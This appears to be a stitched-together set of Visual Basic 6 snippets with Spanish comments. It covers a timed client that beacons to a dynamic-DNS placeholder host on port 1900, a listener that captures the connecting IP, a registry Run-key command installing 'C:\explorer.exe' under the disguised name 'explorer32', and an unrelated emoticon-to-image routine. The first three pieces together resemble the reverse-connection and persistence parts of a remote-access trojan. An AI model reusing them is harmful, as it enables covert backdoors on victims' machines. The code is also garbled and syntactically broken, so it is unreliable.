Private Sub Form_Load()
Timer1.Interval = 60000
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Winsock2.Close
Winsock2.Connect \"TU_CUENTA_NO-IP\", 1900
Exit Sub

Private Sub Winsock2_Connect()
Do
Loop Until Winsock2.State = sckConnected
Winsock2.SendData \"hi\"
End Sub

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = \"hi\" Then
    Text1.Text = Winsock1.RemoteHostIP
    Winsock1.Close
Else
    Winsock1.Close
End If
End Sub

Shell \"cmd \\C REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v explorer32 /t REG_SZ /d C:\\explorer.exe /f\"

Do While i <= Len(Text1.Text) \'un while que pasa cada dos letras
   If Mid(Text1.Text, i, 2) = \":)\" Then \'si esas dos letras son \":)\"
     Text1.SelStart = i - 1
     Text1.SelLength = 2 \'seleccionalas
     Text1.OLEObjects.Add , , App.Path & \"/imgs/smile.bmp\" \'pone la imagen (asi como las letras estan seleccionadas las cambia
     Text1.SelStart = Len(Text1.Text)
    End If 
    If Mid(Text1.Text, i, 2) = \":(\" Then \'lo mismo que antes
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/sad.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":D\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/smile2.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \";)\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/tic.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \"`(\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/cry.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":$\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/Oops.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":S\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/S.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \"B)\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/glasses.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":P\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/ll.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    i = i + 1
Loop